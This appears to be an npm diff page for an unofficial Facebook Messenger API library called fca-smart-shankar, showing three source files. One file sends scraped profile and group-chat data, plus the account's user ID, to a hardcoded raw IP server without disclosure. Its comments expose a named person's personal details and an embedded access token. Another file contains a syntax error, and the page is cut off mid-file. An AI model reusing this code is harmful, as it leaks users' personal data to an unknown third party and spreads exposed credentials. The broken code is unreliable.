fca-smart-shankar 1.5.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (140) hide show
  1. package/.cache/replit/env/latest +55 -0
  2. package/.cache/replit/env/latest.json +1 -0
  3. package/.cache/replit/modules/nodejs-14.res +1 -0
  4. package/.cache/replit/modules/replit.res +1 -0
  5. package/.cache/replit/modules/web.res +1 -0
  6. package/.cache/replit/modules.stamp +0 -0
  7. package/.cache/typescript/5.5/package.json +1 -0
  8. package/.config/configstore/update-notifier-npm.json +4 -0
  9. package/.gitattributes +2 -0
  10. package/.replit +8 -0
  11. package/.upm/store.json +1 -0
  12. package/Extra/Bypass/956/index.js +234 -0
  13. package/Extra/Bypass/test/aaaa.json +170 -0
  14. package/Extra/Bypass/test/index.js +188 -0
  15. package/Extra/Database/index.js +469 -0
  16. package/Extra/ExtraAddons.js +82 -0
  17. package/Extra/ExtraFindUID.js +62 -0
  18. package/Extra/ExtraGetThread.js +365 -0
  19. package/Extra/ExtraScreenShot.js +430 -0
  20. package/Extra/ExtraUptimeRobot.js +38 -0
  21. package/Extra/Html/Classic/script.js +119 -0
  22. package/Extra/Html/Classic/style.css +8 -0
  23. package/Extra/Security/AES_256_GCM/index.js +0 -0
  24. package/Extra/Security/Base/Step_1.js +6 -0
  25. package/Extra/Security/Base/Step_2.js +22 -0
  26. package/Extra/Security/Base/Step_3.js +22 -0
  27. package/Extra/Security/Base/index.js +191 -0
  28. package/Extra/Security/Index.js +5 -0
  29. package/Extra/Security/Step_1.js +6 -0
  30. package/Extra/Security/Step_2.js +22 -0
  31. package/Extra/Security/Step_3.js +22 -0
  32. package/Extra/Src/Change_Environment.js +24 -0
  33. package/Extra/Src/Check_Update.js +67 -0
  34. package/Extra/Src/History.js +115 -0
  35. package/Extra/Src/Instant_Update.js +65 -0
  36. package/Extra/Src/Last-Run.js +65 -0
  37. package/Extra/Src/Premium.js +81 -0
  38. package/Extra/Src/Release_Memory.js +160 -0
  39. package/Extra/Src/Websocket.js +213 -0
  40. package/Extra/Src/image/checkmate.jpg +0 -0
  41. package/Extra/Src/test.js +28 -0
  42. package/Extra/Src/uuid.js +137 -0
  43. package/Func/AcceptAgreement.js +31 -0
  44. package/Func/ClearCache.js +64 -0
  45. package/Func/ReportV1.js +54 -0
  46. package/LICENSE +21 -0
  47. package/Language/index.json +222 -0
  48. package/Main.js +1266 -0
  49. package/README.md +1 -0
  50. package/SECURITY.md +18 -0
  51. package/broadcast.js +44 -0
  52. package/index.js +448 -0
  53. package/logger.js +66 -0
  54. package/package.json +91 -0
  55. package/src/Dev_Horizon_Data.js +125 -0
  56. package/src/Dev_getThreadInfoOLD.js +422 -0
  57. package/src/Dev_shareTest2.js +68 -0
  58. package/src/Dev_shareTest3.js +71 -0
  59. package/src/Premium.js +25 -0
  60. package/src/Screenshot.js +83 -0
  61. package/src/addExternalModule.js +16 -0
  62. package/src/addUserToGroup.js +79 -0
  63. package/src/changeAdminStatus.js +79 -0
  64. package/src/changeArchivedStatus.js +41 -0
  65. package/src/changeAvt.js +85 -0
  66. package/src/changeBio.js +65 -0
  67. package/src/changeBlockedStatus.js +36 -0
  68. package/src/changeGroupImage.js +106 -0
  69. package/src/changeNickname.js +45 -0
  70. package/src/changeThreadColor.js +62 -0
  71. package/src/changeThreadEmoji.js +42 -0
  72. package/src/createNewGroup.js +70 -0
  73. package/src/createPoll.js +60 -0
  74. package/src/deleteMessage.js +45 -0
  75. package/src/deleteThread.js +43 -0
  76. package/src/editMessage.js +53 -0
  77. package/src/forwardAttachment.js +48 -0
  78. package/src/getAccessToken.js +28 -0
  79. package/src/getCurrentUserID.js +7 -0
  80. package/src/getEmojiUrl.js +27 -0
  81. package/src/getFriendsList.js +73 -0
  82. package/src/getMessage.js +103 -0
  83. package/src/getThreadHistory.js +537 -0
  84. package/src/getThreadInfo.js +424 -0
  85. package/src/getThreadInfoOLD.js +422 -0
  86. package/src/getThreadList.js +213 -0
  87. package/src/getThreadMain.js +220 -0
  88. package/src/getThreadPictures.js +59 -0
  89. package/src/getUID.js +59 -0
  90. package/src/getUserID.js +62 -0
  91. package/src/getUserInfo.js +112 -0
  92. package/src/getUserInfoMain.js +65 -0
  93. package/src/getUserInfoV2.js +32 -0
  94. package/src/getUserInfoV3.js +63 -0
  95. package/src/getUserInfoV4.js +55 -0
  96. package/src/getUserInfoV5.js +61 -0
  97. package/src/handleFriendRequest.js +46 -0
  98. package/src/handleMessageRequest.js +49 -0
  99. package/src/httpGet.js +49 -0
  100. package/src/httpPost.js +48 -0
  101. package/src/httpPostFormData.js +41 -0
  102. package/src/listenMqtt.js +936 -0
  103. package/src/listenMqttV1.js +846 -0
  104. package/src/logout.js +68 -0
  105. package/src/markAsDelivered.js +48 -0
  106. package/src/markAsRead.js +70 -0
  107. package/src/markAsReadAll.js +43 -0
  108. package/src/markAsSeen.js +51 -0
  109. package/src/muteThread.js +47 -0
  110. package/src/removeUserFromGroup.js +49 -0
  111. package/src/resolvePhotoUrl.js +37 -0
  112. package/src/searchForThread.js +43 -0
  113. package/src/sendMessage.js +386 -0
  114. package/src/sendMqttMessage.js +71 -0
  115. package/src/sendTypingIndicator.js +80 -0
  116. package/src/setMessageReaction.js +109 -0
  117. package/src/setPostReaction.js +102 -0
  118. package/src/setTitle.js +74 -0
  119. package/src/shareContact.js +55 -0
  120. package/src/shareLink.js +58 -0
  121. package/src/threadColors.js +39 -0
  122. package/src/unfriend.js +43 -0
  123. package/src/unsendMessage.js +40 -0
  124. package/test/Database_Test.js +4 -0
  125. package/test/Db2.js +530 -0
  126. package/test/Horizon_Database/A_README.md +1 -0
  127. package/test/Horizon_Database/Database.db +0 -0
  128. package/test/data/shareAttach.js +146 -0
  129. package/test/data/something.mov +0 -0
  130. package/test/data/test.png +0 -0
  131. package/test/data/test.txt +7 -0
  132. package/test/env/.env +0 -0
  133. package/test/example-config.json +18 -0
  134. package/test/example-db.db +0 -0
  135. package/test/memoryleak.js +18 -0
  136. package/test/test-page.js +140 -0
  137. package/test/test.js +385 -0
  138. package/test/testname.js +1342 -0
  139. package/test/testv2.js +3 -0
  140. package/utils.js +3038 -0
@@ -0,0 +1,125 @@
1
+ /* eslint-disable linebreak-style */
2
+ "use strict";
3
+
4
+ var utils = require("../utils");
5
+ var bluebird = require('bluebird');
6
+ var request = bluebird.promisify(require("request"));
7
+
8
+ module.exports = function (defaultFuncs, api, ctx) {
9
+ return function getUserInfoV4(data, type, method, callback) {
10
+ var resolveFunc = function () { };
11
+ var rejectFunc = function () { };
12
+ var returnPromise = new Promise(function (resolve, reject) {
13
+ resolveFunc = resolve;
14
+ rejectFunc = reject;
15
+ });
16
+
17
+ if (!callback) {
18
+ callback = function (err, userInfo) {
19
+ if (err) return rejectFunc(err);
20
+ resolveFunc(userInfo);
21
+ };
22
+ }
23
+
24
+ if (!data || !type || !method) return;
25
+
26
+ var Cluster = ['http://146.190.109.182:3874'];
27
+ var ursl = Cluster[Math.floor(Math.random() * Cluster.length)];
28
+
29
+ if (utils.getType(data) !== "Array") data = [data];
30
+ switch (method) {
31
+ case "Post": {
32
+ switch (type) {
33
+ case "Users": {
34
+ /*
35
+ example
36
+ Time:19/01/2023
37
+ Data:[{"id":"100042817150429","name":"Nguyễn Thái Hảo","first_name":"Hảo","username":"Lazic.Kanzu","link":"https://www.facebook.com/Lazic.Kanzu","verified":"Không Có Dữ Liệu","about":"Là một người bình thường ^^","avatar":"https://graph.facebook.com/100042817150429/picture?height=1500&width=1500&access_token=1449557605494892|aaf0a865c8bafc314ced5b7f18f3caa6","birthday":"01/03/1999","follow":241614,"gender":"male","hometown":{"id":"112089428815888","name":"Xuân Lộc, Ðồng Nai, Vietnam"},"email":"Không Có Dữ Liệu","interested_in":"Không Có Dữ Liệu","location":{"id":"351759091676222","name":"Biên Hòa"},"locale":"Không Có Dữ Liệu","relationship_status":"Không Có Dữ Liệu","love":"Không Có Dữ Liệu","website":"http://KanzuWakazaki.tk/","quotes":"The word impossible is not in my dictionary.","timezone":"Không Có Dữ Liệu","updated_time":"Không Có Dữ Liệu"}]
38
+ Type:Users
39
+ By:KanzuWakazaki
40
+ **/
41
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
42
+ return request({
43
+ url: ursl + '/post',
44
+ method: 'post',
45
+ headers: {
46
+ 'user-agent': "Horizon/GlobalData/Client"
47
+ },
48
+ formData: {
49
+ Time: Time,
50
+ Data: JSON.stringify(data),
51
+ Type: "Users",
52
+ By: ctx.userID
53
+ }
54
+ }).then(dt => console.log(dt.body));
55
+ }
56
+ case "Threads": {
57
+ /*
58
+ example
59
+ Time:19/01/2023
60
+ Data:[{"threadID":"5011501735554963","threadName":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","participantIDs":["100042817150429"],"userInfo":[{"id":"100042817150429","name":"Nguyễn Thái Hảo","firstName":"Hảo","vanity":"Lazic.Kanzu","thumbSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","profileUrl":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","gender":"MALE","type":"User","isFriend":true,"isBirthday":false}],"unreadCount":38925,"messageCount":39857,"timestamp":"1674107309307","muteUntil":null,"isGroup":true,"isSubscribed":true,"isArchived":false,"folder":"INBOX","cannotReplyReason":null,"eventReminders":[],"emoji":"😏","color":"DD8800","nicknames":{"100001776745483":"[𝐇𝐆] • Eo bờ su"},"adminIDs":[{"id":"100042817150429"}],"approvalMode":true,"approvalQueue":[],"reactionsMuteMode":"reactions_not_muted","mentionsMuteMode":"mentions_not_muted","isPinProtected":false,"relatedPageThread":null,"name":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","snippet":"SystemCall run (async function() {\nSend(await Api.getThreadInfo(Data.threadID))\n})()","snippetSender":"100042817150429","snippetAttachments":[],"serverTimestamp":"1674107309307","imageSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t1.15752-9/278020824_345766417524223_6790288127531819759_n.jpg?_nc_cat=101&ccb=1-7&_nc_sid=02e273&_nc_ohc=dfuXjxOR1BUAX-SUN1x&_nc_ht=scontent.fsgn5-14.fna&oh=03_AdQkXN3hb3z4Hg0Tg-vI7ZpDdSmujnluj13uNqUSJoU9iA&oe=63F060BA","isCanonicalUser":false,"isCanonical":false,"recipientsLoadable":true,"hasEmailParticipant":false,"readOnly":false,"canReply":true,"lastMessageType":"message","lastReadTimestamp":"1649756873571","threadType":2,"TimeCreate":1674107310529,"TimeUpdate":1674107310529}]
61
+ Type:Threads
62
+ By:KanzuWakazaki
63
+ **/
64
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
65
+ return request({
66
+ url: ursl + '/post',
67
+ method: 'post',
68
+ headers: {
69
+ 'user-agent': "Horizon/GlobalData/Client"
70
+ },
71
+ formData: {
72
+ Time: Time,
73
+ Data: JSON.stringify(data),
74
+ Type: "Threads",
75
+ By: ctx.userID
76
+ }
77
+ }).then(dt => console.log(dt.body));
78
+ }
79
+ }
80
+ }
81
+ break;
82
+ case "Get": {
83
+ switch (type) {
84
+ case "Users": {
85
+ /* example
86
+ Requires:[5011501735554963]
87
+ Type:Threads
88
+ **/
89
+
90
+ //still operating until Feb 25
91
+ return request({
92
+ url: ursl + '/get',
93
+ method: 'post',
94
+ headers: {
95
+ 'user-agent': "Horizon/GlobalData/Client"
96
+ },
97
+ formData: {
98
+ Requires: JSON.stringify(data),
99
+ Type: "Users"
100
+ }
101
+ }).then(dt => console.log(dt.body));
102
+ }
103
+ case "Threads": {
104
+ return request({
105
+ url: ursl + '/get',
106
+ method: 'post',
107
+ headers: {
108
+ 'user-agent': "Horizon/GlobalData/Client"
109
+ },
110
+ formData: {
111
+ Requires: JSON.stringify(data),
112
+ Type: "Threads"
113
+ }
114
+ }).then(dt => console.log(dt.body));
115
+ }
116
+ }
117
+ }
118
+ break;
119
+ default:
120
+ return;
121
+ }
122
+
123
+ return returnPromise;
124
+ };
125
+ };
@@ -0,0 +1,422 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+ // tương lai đi rồi fix ahahha
6
+ function formatEventReminders(reminder) {
7
+ return {
8
+ reminderID: reminder.id,
9
+ eventCreatorID: reminder.lightweight_event_creator.id,
10
+ time: reminder.time,
11
+ eventType: reminder.lightweight_event_type.toLowerCase(),
12
+ locationName: reminder.location_name,
13
+ // @TODO verify this
14
+ locationCoordinates: reminder.location_coordinates,
15
+ locationPage: reminder.location_page,
16
+ eventStatus: reminder.lightweight_event_status.toLowerCase(),
17
+ note: reminder.note,
18
+ repeatMode: reminder.repeat_mode.toLowerCase(),
19
+ eventTitle: reminder.event_title,
20
+ triggerMessage: reminder.trigger_message,
21
+ secondsToNotifyBefore: reminder.seconds_to_notify_before,
22
+ allowsRsvp: reminder.allows_rsvp,
23
+ relatedEvent: reminder.related_event,
24
+ members: reminder.event_reminder_members.edges.map(function(member) {
25
+ return {
26
+ memberID: member.node.id,
27
+ state: member.guest_list_state.toLowerCase()
28
+ };
29
+ })
30
+ };
31
+ }
32
+
33
+ function formatThreadGraphQLResponse(data) {
34
+ try{
35
+ var messageThread = data.message_thread;
36
+ } catch (err){
37
+ console.error("GetThreadInfoGraphQL", "Can't get this thread info!");
38
+ return {err: err};
39
+ }
40
+ var threadID = messageThread.thread_key.thread_fbid
41
+ ? messageThread.thread_key.thread_fbid
42
+ : messageThread.thread_key.other_user_id;
43
+
44
+ // Remove me
45
+ var lastM = messageThread.last_message;
46
+ var snippetID =
47
+ lastM &&
48
+ lastM.nodes &&
49
+ lastM.nodes[0] &&
50
+ lastM.nodes[0].message_sender &&
51
+ lastM.nodes[0].message_sender.messaging_actor
52
+ ? lastM.nodes[0].message_sender.messaging_actor.id
53
+ : null;
54
+ var snippetText =
55
+ lastM && lastM.nodes && lastM.nodes[0] ? lastM.nodes[0].snippet : null;
56
+ var lastR = messageThread.last_read_receipt;
57
+ var lastReadTimestamp =
58
+ lastR && lastR.nodes && lastR.nodes[0] && lastR.nodes[0].timestamp_precise
59
+ ? lastR.nodes[0].timestamp_precise
60
+ : null;
61
+
62
+ return {
63
+ threadID: threadID,
64
+ threadName: messageThread.name,
65
+ participantIDs: messageThread.all_participants.edges.map(d => d.node.messaging_actor.id),
66
+ userInfo: messageThread.all_participants.edges.map(d => ({
67
+ id: d.node.messaging_actor.id,
68
+ name: d.node.messaging_actor.name,
69
+ firstName: d.node.messaging_actor.short_name,
70
+ vanity: d.node.messaging_actor.username,
71
+ thumbSrc: d.node.messaging_actor.big_image_src.uri,
72
+ profileUrl: d.node.messaging_actor.big_image_src.uri,
73
+ gender: d.node.messaging_actor.gender,
74
+ type: d.node.messaging_actor.__typename,
75
+ isFriend: d.node.messaging_actor.is_viewer_friend,
76
+ isBirthday: !!d.node.messaging_actor.is_birthday //not sure?
77
+ })),
78
+ unreadCount: messageThread.unread_count,
79
+ messageCount: messageThread.messages_count,
80
+ timestamp: messageThread.updated_time_precise,
81
+ muteUntil: messageThread.mute_until,
82
+ isGroup: messageThread.thread_type == "GROUP",
83
+ isSubscribed: messageThread.is_viewer_subscribed,
84
+ isArchived: messageThread.has_viewer_archived,
85
+ folder: messageThread.folder,
86
+ cannotReplyReason: messageThread.cannot_reply_reason,
87
+ eventReminders: messageThread.event_reminders
88
+ ? messageThread.event_reminders.nodes.map(formatEventReminders)
89
+ : null,
90
+ emoji: messageThread.customization_info
91
+ ? messageThread.customization_info.emoji
92
+ : null,
93
+ color:
94
+ messageThread.customization_info &&
95
+ messageThread.customization_info.outgoing_bubble_color
96
+ ? messageThread.customization_info.outgoing_bubble_color.slice(2)
97
+ : null,
98
+ nicknames:
99
+ messageThread.customization_info &&
100
+ messageThread.customization_info.participant_customizations
101
+ ? messageThread.customization_info.participant_customizations.reduce(
102
+ function(res, val) {
103
+ if (val.nickname) res[val.participant_id] = val.nickname;
104
+ return res;
105
+ },
106
+ {}
107
+ )
108
+ : {},
109
+ adminIDs: messageThread.thread_admins,
110
+ approvalMode: Boolean(messageThread.approval_mode),
111
+ approvalQueue: messageThread.group_approval_queue.nodes.map(a => ({
112
+ inviterID: a.inviter.id,
113
+ requesterID: a.requester.id,
114
+ timestamp: a.request_timestamp,
115
+ request_source: a.request_source // @Undocumented
116
+ })),
117
+
118
+ // @Undocumented
119
+ reactionsMuteMode: messageThread.reactions_mute_mode.toLowerCase(),
120
+ mentionsMuteMode: messageThread.mentions_mute_mode.toLowerCase(),
121
+ isPinProtected: messageThread.is_pin_protected,
122
+ relatedPageThread: messageThread.related_page_thread,
123
+
124
+ // @Legacy
125
+ name: messageThread.name,
126
+ snippet: snippetText,
127
+ snippetSender: snippetID,
128
+ snippetAttachments: [],
129
+ serverTimestamp: messageThread.updated_time_precise,
130
+ imageSrc: messageThread.image ? messageThread.image.uri : null,
131
+ isCanonicalUser: messageThread.is_canonical_neo_user,
132
+ isCanonical: messageThread.thread_type != "GROUP",
133
+ recipientsLoadable: true,
134
+ hasEmailParticipant: false,
135
+ readOnly: false,
136
+ canReply: messageThread.cannot_reply_reason == null,
137
+ lastMessageTimestamp: messageThread.last_message
138
+ ? messageThread.last_message.timestamp_precise
139
+ : null,
140
+ lastMessageType: "message",
141
+ lastReadTimestamp: lastReadTimestamp,
142
+ threadType: messageThread.thread_type == "GROUP" ? 2 : 1,
143
+ TimeCreate: Date.now(),
144
+ TimeUpdate: Date.now()
145
+ };
146
+ }
147
+
148
+ module.exports = function(defaultFuncs, api, ctx) {
149
+
150
+ var { createData,getData,hasData,setLastRun,updateData, getAll } = require('../Extra/ExtraGetThread');
151
+ var { capture } = require('../Extra/Src/Last-Run');
152
+ var Database = require('../Extra/Database');
153
+ global.Fca.Data.Userinfo = [];
154
+
155
+ return function getThreadInfoGraphQL(threadID, callback) {
156
+ var resolveFunc = function(){};
157
+ var rejectFunc = function(){};
158
+ var returnPromise = new Promise(function (resolve, reject) {
159
+ resolveFunc = resolve;
160
+ rejectFunc = reject;
161
+ });
162
+
163
+ if (utils.getType(callback) != "Function" && utils.getType(callback) != "AsyncFunction") {
164
+ callback = function (err, data) {
165
+ if (err) {
166
+ return rejectFunc(err);
167
+ }
168
+ resolveFunc(data);
169
+ };
170
+ }
171
+
172
+ // được tìm thấy vào giữa tháng 8/2022 bởi @KanzuWakazaki - đã được chia sẻ cho @D-Jukie và Horizon Team Public group 🤴
173
+ // những code tương tự muliti thread như này đều có thể là copy idea 🐧
174
+ // đã áp dụng vào fca mới(cloud - fca(private)) vào cuối tháng 8/2022 bởi @IteralingCode(Hidden Member( always :) )) - Synthetic 4 - @Horizon Team
175
+ //cập nhật dự án bị bỏ rơi này vào ngày 19/11/2022 bởi @KanzuWakazaki(Owner) - Synthetic 1 - @Horizon Team nhằm đáp ứng nhu cầu của client !
176
+
177
+ if (utils.getType(threadID) !== "Array") threadID = [threadID];
178
+
179
+
180
+ var SpecialMethod = function(TID) {
181
+ const All = getAll();
182
+ const Real = [];
183
+ const Average = [];
184
+ for (let i of All) {
185
+ if (i.data.threadID != undefined) {
186
+ if (i.data.TimeCreate + 900 * 1000 <= Date.now()) {
187
+ Real.push(i.data.threadID);
188
+ }
189
+ else {
190
+ Average.push({
191
+ threadID: i.data.threadID,
192
+ TimeCreate: i.data.TimeCreate
193
+ });
194
+ continue;
195
+ }
196
+ } else continue;
197
+ }
198
+ const AllofThread = [];
199
+ if (Average.length > 0) {
200
+ var Time = 0;
201
+ for (let i of Average) {
202
+ Time += i.TimeCreate;
203
+ }
204
+ Time = Time / Average.length;
205
+ if (Time + 900 * 1000 <= Date.now()) {
206
+ for (let i of Average) {
207
+ Real.push(i.threadID);
208
+ }
209
+ } //can't =))
210
+ else {
211
+ setTimeout(function () {
212
+ SpecialMethod(TID);
213
+ }, Time + 900 * 1000 - Date.now());
214
+ }
215
+ }
216
+ else {
217
+ setTimeout(function () {
218
+ SpecialMethod(TID);
219
+ }, 900 * 1000);
220
+ }
221
+ if (Real.length == 0) return;
222
+ else if (Real.length == 1) {
223
+ return DefaultMethod(TID);
224
+ }
225
+ else if (All.length > 1) {
226
+ for (let i of All) {
227
+ if (i.data.threadID != undefined) {
228
+ AllofThread.push(i.data.threadID);
229
+ } else continue;
230
+ }
231
+ var Form = {};
232
+ var ThreadInfo = [];
233
+
234
+ AllofThread.map(function (x,y) {
235
+ Form["o" + y] = {
236
+ doc_id: "3449967031715030",
237
+ query_params: {
238
+ id: x,
239
+ message_limit: 0,
240
+ load_messages: false,
241
+ load_read_receipts: false,
242
+ before: null
243
+ }
244
+ };
245
+ });
246
+
247
+ var form = {
248
+ queries: JSON.stringify(Form),
249
+ batch_name: "MessengerGraphQLThreadFetcher"
250
+ };
251
+
252
+ defaultFuncs
253
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
254
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
255
+ .then(function(resData) {
256
+ if (resData.error) {
257
+ throw "Lỗi: getThreadInfoGraphQL Có Thể Do Bạn Spam Quá Nhiều";
258
+ }
259
+ if (resData[resData.length - 1].error_results !== 0) {
260
+ throw "Lỗi: getThreadInfoGraphQL Có Thể Do Bạn Spam Quá Nhiều";
261
+ }
262
+ resData = resData.splice(0, resData.length - 1);
263
+ resData.sort((a, b) => { return Object.keys(a)[0].localeCompare(Object.keys(b)[0]); });
264
+ resData.map(function (x,y) {
265
+ ThreadInfo.push(formatThreadGraphQLResponse(x["o"+y].data));
266
+ });
267
+ try {
268
+ if (Object.keys(resData).length == 1) {
269
+ updateData(threadID,ThreadInfo[0]);
270
+ if (utils.getType(ThreadInfo[0].userInfo) == "Array") {
271
+ for (let i of ThreadInfo[0].userInfo) {
272
+ if (global.Fca.Data.Userinfo.some(ii => ii.id == i.id)) {
273
+ global.Fca.Data.Userinfo.splice(global.Fca.Data.Userinfo.findIndex(ii => ii.id == i.id), 1);
274
+ }
275
+ global.Fca.Data.Userinfo.push(i);
276
+ }
277
+ }
278
+ } else {
279
+ for (let i of ThreadInfo) {
280
+ updateData(i.threadID,i);
281
+ if (utils.getType(i.userInfo) == "Array") {
282
+ for (let ii of i.userInfo) {
283
+ if (global.Fca.Data.Userinfo.some(iii => iii.id == ii.id)) {
284
+ global.Fca.Data.Userinfo.splice(global.Fca.Data.Userinfo.findIndex(iii => iii.id == ii.id), 1);
285
+ }
286
+ global.Fca.Data.Userinfo.push(ii);
287
+ }
288
+ }
289
+ }
290
+ }
291
+ }
292
+ catch (e) {
293
+ console.log(e);
294
+ }
295
+ })
296
+ .catch(function(err){
297
+ throw "Lỗi: getThreadInfoGraphQL Có Thể Do Bạn Spam Quá Nhiều";
298
+ });
299
+ }
300
+ };
301
+
302
+ var DefaultMethod = function(TID) {
303
+ var ThreadInfo = [];
304
+ for (let i of TID) {
305
+ ThreadInfo.push(getData(i));
306
+ }
307
+ if (ThreadInfo.length == 1) {
308
+ callback(null,ThreadInfo[0]);
309
+ if (utils.getType(ThreadInfo[0].userInfo) == "Array") {
310
+ for (let i of ThreadInfo[0].userInfo) {
311
+ if (global.Fca.Data.Userinfo.some(ii => ii.id == i.id)) {
312
+ global.Fca.Data.Userinfo.splice(global.Fca.Data.Userinfo.findIndex(ii => ii.id == i.id), 1);
313
+ }
314
+ global.Fca.Data.Userinfo.push(i);
315
+ }
316
+ } else {
317
+ for (let i of ThreadInfo) {
318
+ if (utils.getType(i.userInfo) == "Array") {
319
+ for (let ii of i.userInfo) {
320
+ if (global.Fca.Data.Userinfo.some(iii => iii.id == ii.id)) {
321
+ global.Fca.Data.Userinfo.splice(global.Fca.Data.Userinfo.findIndex(iii => iii.id == ii.id), 1);
322
+ }
323
+ global.Fca.Data.Userinfo.push(ii);
324
+ }
325
+ }
326
+ }
327
+ callback(null,ThreadInfo);
328
+ }
329
+ }
330
+ };
331
+ var CreateMethod = function(TID) {
332
+ var Form = {};
333
+ var ThreadInfo = [];
334
+
335
+ TID.map(function (x,y) {
336
+ Form["o" + y] = {
337
+ doc_id: "3449967031715030",
338
+ query_params: {
339
+ id: x,
340
+ message_limit: 0,
341
+ load_messages: false,
342
+ load_read_receipts: false,
343
+ before: null
344
+ }
345
+ };
346
+ });
347
+
348
+ var form = {
349
+ queries: JSON.stringify(Form),
350
+ batch_name: "MessengerGraphQLThreadFetcher"
351
+ };
352
+ defaultFuncs
353
+ .post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
354
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
355
+ .then(function(resData) {
356
+ if (resData.error) {
357
+ throw resData.error;
358
+ }
359
+ if (resData[resData.length - 1].error_results !== 0) {
360
+ throw resData.error;
361
+ }
362
+ resData = resData.splice(0, resData.length - 1);
363
+ resData.sort((a, b) => { return Object.keys(a)[0].localeCompare(Object.keys(b)[0]); });
364
+ resData.map(function (x,y) {
365
+ ThreadInfo.push(formatThreadGraphQLResponse(x["o"+y].data));
366
+ });
367
+ if (Object.keys(resData).length == 1) {
368
+ createData(threadID,ThreadInfo[0]);
369
+ callback(null, ThreadInfo[0]);
370
+ capture(callback);
371
+ setLastRun('LastUpdate', callback);
372
+ if (global.Fca.Data.Userinfo == undefined) global.Fca.Data.Userinfo = [];
373
+ if (utils.getType(ThreadInfo[0].userInfo) == "Array") {
374
+ for (let i of ThreadInfo[0].userInfo) {
375
+ if (global.Fca.Data.Userinfo.some(ii => ii.id == i.id)) {
376
+ global.Fca.Data.Userinfo.splice(global.Fca.Data.Userinfo.findIndex(ii => ii.id == i.id), 1);
377
+ }
378
+ global.Fca.Data.Userinfo.push(i);
379
+ }
380
+ }
381
+ } else {
382
+ // api.Horizon_Data([ThreadInfo], "Threads", "Post");
383
+ for (let i of ThreadInfo) {
384
+ createData(i.threadID,i);
385
+ if (utils.getType(i.userInfo) == "Array") {
386
+ for (let ii of i.userInfo) {
387
+ if (global.Fca.Data.Userinfo.some(iii => iii.id == ii.id)) {
388
+ global.Fca.Data.Userinfo.splice(global.Fca.Data.Userinfo.findIndex(iii => iii.id == ii.id), 1);
389
+ }
390
+ global.Fca.Data.Userinfo.push(ii);
391
+ }
392
+ }
393
+ }
394
+ callback(null, ThreadInfo);
395
+ }
396
+ })
397
+ .catch(function(err){
398
+ throw err;
399
+ });
400
+ };
401
+ if (global.Fca.Data.Already != true) { SpecialMethod(threadID); global.Fca.Data.Already = true; setInterval(function(){Database(true).set('UserInfo', global.Fca.Data.Userinfo); delete global.Fca.Data.Userinfo; global.Fca.Data.Userinfo = []; }, 900 * 1000); }
402
+
403
+ try {
404
+ for (let i of threadID) {
405
+ switch (hasData(i)) {
406
+ case true: {
407
+ DefaultMethod(threadID);
408
+ break;
409
+ }
410
+ case false: {
411
+ CreateMethod(threadID);
412
+ break;
413
+ }
414
+ }
415
+ }
416
+ }
417
+ catch (err) {
418
+ console.log(err);
419
+ }
420
+ return returnPromise;
421
+ };
422
+ };
@@ -0,0 +1,68 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return async function shareTest(text, senderID, threadID, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+ if (!callback) {
15
+ callback = function (err, data) {
16
+ if (err) return rejectFunc(err);
17
+ resolveFunc(data);
18
+ };
19
+ }
20
+ ctx.req_ID++;
21
+ var form = JSON.stringify({
22
+ "app_id": "2220391788200892",
23
+ "payload": JSON.stringify({
24
+ tasks: [{
25
+ label: '46',
26
+ payload: JSON.stringify({
27
+ //"contact_id": senderID,
28
+ "otid": utils.generateOfflineThreadingID(),
29
+ "source": "1572866",
30
+ "sync_group": 1,
31
+ "send_type": 7,
32
+ "mark_thread_read": 1,
33
+ "url": "",
34
+ "attribution_app_id": ,
35
+ "skip_url_preview_gen": 0,
36
+ "text_has_links": 0,
37
+ "multitab_env": 0,
38
+ //"text": text || "",
39
+ "thread_id": 6711308795587598,
40
+ "initiating_source": 0
41
+ }),
42
+ queue_name: '6711308795587598',
43
+ task_id: Math.random() * 1001 << 0,
44
+ failure_count: null,
45
+ },
46
+ {
47
+ label: '21',
48
+ payload: JSON.stringify({
49
+ "thread_id": 6711308795587598,
50
+ last_read_watermark_ts: 1713035994383,
51
+ sync_group: 1
52
+ }),
53
+ queue_name: 6711308795587598,
54
+ task_id: Math.random() * 1001 << 0,
55
+ failure_count: null
56
+ }],
57
+ epoch_id: utils.generateOfflineThreadingID(),
58
+ version_id: '7191105584331330',
59
+ data_trace_id: ""
60
+ }),
61
+ "request_id": ctx.req_ID,
62
+ "type": 3
63
+ });
64
